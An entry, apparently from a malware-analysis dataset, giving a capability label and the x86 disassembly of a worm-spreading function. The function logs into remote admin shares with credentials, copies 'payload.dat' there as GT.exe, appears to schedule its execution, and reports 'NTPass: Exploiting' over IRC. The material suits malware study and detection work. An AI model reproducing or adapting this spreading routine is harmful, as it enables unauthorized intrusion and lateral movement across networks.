Function at 0x40d73a
Capabilities:
Connect network resource
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x608
mov dword [esp + 8], 0x20
mov dword [esp + 4], 0
lea eax, [ebp - 0x38]
mov dword [esp], eax
call sym._memset
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x1c], 0
mov dword [esp + 0xc], 0
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x38]
mov dword [esp], eax
call sym._WNetAddConnection2A_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40d7ce
mov dword [esp + 8], 1
mov dword [esp + 4], 1
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call sym._WNetCancelConnection2A_12
sub esp, 0xc
mov eax, 0
jmp 0x40da4a
mov dword [ebp - 0x3d4], 0
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sAdmin__system32GT.exe
lea eax, [ebp - 0x2cc]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sc_winnt_system32GT.exe
lea eax, [ebp - 0x3d0]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 0x14], 0x190
lea eax, [ebp - 0x1c8]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xffffffff
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call eax
sub esp, 0x18
mov eax, dword [0x469878]
lea edx, [ebp - 0x3d4]
mov dword [esp + 4], edx
lea edx, [ebp - 0x1c8]
mov dword [esp], edx
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40da27
mov eax, dword [ebp - 0x3d4]
test eax, eax
je 0x40da27
mov dword [esp + 8], 0
lea eax, [ebp - 0x2cc]
mov dword [esp + 4], eax
mov dword [esp], str.payload.dat
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileA]
call eax
sub esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x40d917
mov dword [esp + 8], 0
lea eax, [ebp - 0x3d0]
mov dword [esp + 4], eax
mov dword [esp], str.payload.dat
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileA]
call eax
sub esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x40d917
mov eax, dword [0x469874]
mov edx, dword [ebp - 0x3d4]
mov dword [esp], edx
call eax
sub esp, 4
mov dword [esp + 8], 1
mov dword [esp + 4], 1
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call sym._WNetCancelConnection2A_12
sub esp, 0xc
mov eax, 1
jmp 0x40da4a
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x3e8]
mov dword [esp], eax
call sym._memset
mov eax, dword [ebp - 0x3d4]
mov eax, dword [eax]
mov edx, 0x88888889
mul edx
mov eax, edx
shr eax, 5
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x3d4]
mov eax, dword [eax + 0x18]
sub dword [ebp - 0x18], eax
add dword [ebp - 0x18], 2
mov ecx, dword [ebp - 0x18]
mov eax, ecx
shr eax, 5
mov edx, 0x5b05b06
mul edx
imul eax, edx, 0x5a0
sub ecx, eax
mov edx, ecx
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
imul eax, eax, 0xea60
mov dword [ebp - 0x3e8], eax
mov dword [ebp - 0x3dc], str.GT.exe
mov eax, dword [0x469870]
lea edx, [ebp - 0x3d8]
mov dword [esp + 8], edx
lea edx, [ebp - 0x3e8]
mov dword [esp + 4], edx
lea edx, [ebp - 0x1c8]
mov dword [esp], edx
call eax
sub esp, 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp + 0xc], 0
je 0x40d9c6
mov eax, dword [ebp + 0xc]
jmp 0x40d9cb
mov eax, str._NULL_
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._NTPass___Exploiting..__IP:___s__User:___s__s__r_n
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x5e8]
mov dword [esp], eax
call sym._snprintf
mov eax, dword [0x4697cc]
mov dword [esp + 8], 0x4697e0
lea edx, [ebp - 0x5e8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._privmsg
mov eax, dword [0x4697c8]
add eax, 1
mov dword [0x4697c8], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 1
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call sym._WNetCancelConnection2A_12
sub esp, 0xc
mov eax, 1
leave
ret